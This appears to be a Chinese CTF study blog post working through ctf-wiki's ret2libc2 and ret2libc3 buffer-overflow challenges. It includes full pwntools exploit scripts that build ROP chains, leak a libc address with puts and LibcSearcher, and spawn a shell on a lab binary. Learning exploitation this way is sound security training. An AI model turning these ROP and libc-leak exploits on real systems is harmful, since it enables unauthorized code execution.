pwn 暑假复习三 libc泄露

ctfwiki

例一:ret2libc2

拿到程序checksec查看:没什么问题


源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets((char *)&v4);
  return 0;
}

查找可以用的gadgets,

先看有没有‘/bin/sh’:

事实证明,没有

看看有没有system,我们gdb打开,在main函数处下断,然后 print system

看出system的地址为0xf7e09890

没有'/bin/sh',我就给他输入一个,所以要找一下gets的地址

可看出gets的地址为0xf7e337c0,接下来再找一个buf来储存我们输入的‘/bin/sh’

再找一个ebx

接下来构造payload,用pattren计算出与ebp的距离为108

payload = 'a'*112+p32(gets_addr)+p32(pop_ebx)+p32(buf2_addr)+p32(system_addr)+'bbbb'+p32(buf2_addr)

send(payload)

send('/bin/sh')

脚本如下:

from pwn import *
sh = process('./ret2libc3')
sysdaar = 0xf7e09890
getsaddr = 0xf7e337c0
pop_ebx_addr = 0x0804841d
buf2addr = 0x804a080

payload = 'A'*112 + p32(getsaddr) + p32(pop_ebx_addr) + p32(buf2addr) + p32(sysdaar) + 'b'*4 + p32(buf2addr)

sh.sendline(payload)
sh.sendline('/bin/sh')

sh.interactive()


例二:ret2libc3

这个例子和上面一样,区别就是没有system。system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址,此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

在这里我遇到了坑学了半天之后,总是泄露不了,问了大佬之后,大佬说pwn还是要ubantu,推荐版本16.04,所以后面的题目都搭在了ubantu12.04(反正越老越好嘛,其实是懒,有现成的12.04)里,之前都是在kali里面搞的,表示怕啦!!!

搭建的方法为:

创建一个.sh的文件,里面内容为:

socat tcp -l :端口号,fork exec:/home/user/pwn(路径),reuseaddr

运行这个sh文件就好,可以nc测一下有没有搭好(ubantu ps -e 查看进程   sudo kill PID 杀死进程)

这里还用到了libcSeacher,具体安装用法https://github.com/lieanu/LibcSearcher

libcseacher("函数名",已经泄露的地址)   dump('system')计算偏移量

Lib-database下载下来后,先运行 ./get 获得数据库信息,需要添加本地用 ./add user/libc/libc.so(路径)

---------------------------------------------------------------------------------------------------------------------------------

回到例题

前面的步骤都与上个例子相同,查看got表信息:


所以我们决定用泄露__libc_strart_main的地址,来判定libc的版本

脚本为:

from pwn import *
from LibcSearcher import LibcSearcher
#sh = process('./ret2libc3')
sh = remote('192.168.1.101', 5557)
ret2libc3 = ELF('./ret2libc3')
#泄露地址
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])#调用puts函数后,ret到main函数,用main函数里面的gets来获取libc_start的地址
sh.sendlineafter('Can you find it !?', payload)
利用
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
print libc_start_main_addr#输出泄露的地址
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)

print libc_start_main_addr
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')#算出基地址
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()


睡啦睡啦,都怪白天偷懒,困

猜你喜欢

转载自blog.csdn.net/qq_38783875/article/details/81057381
pwn
今日推荐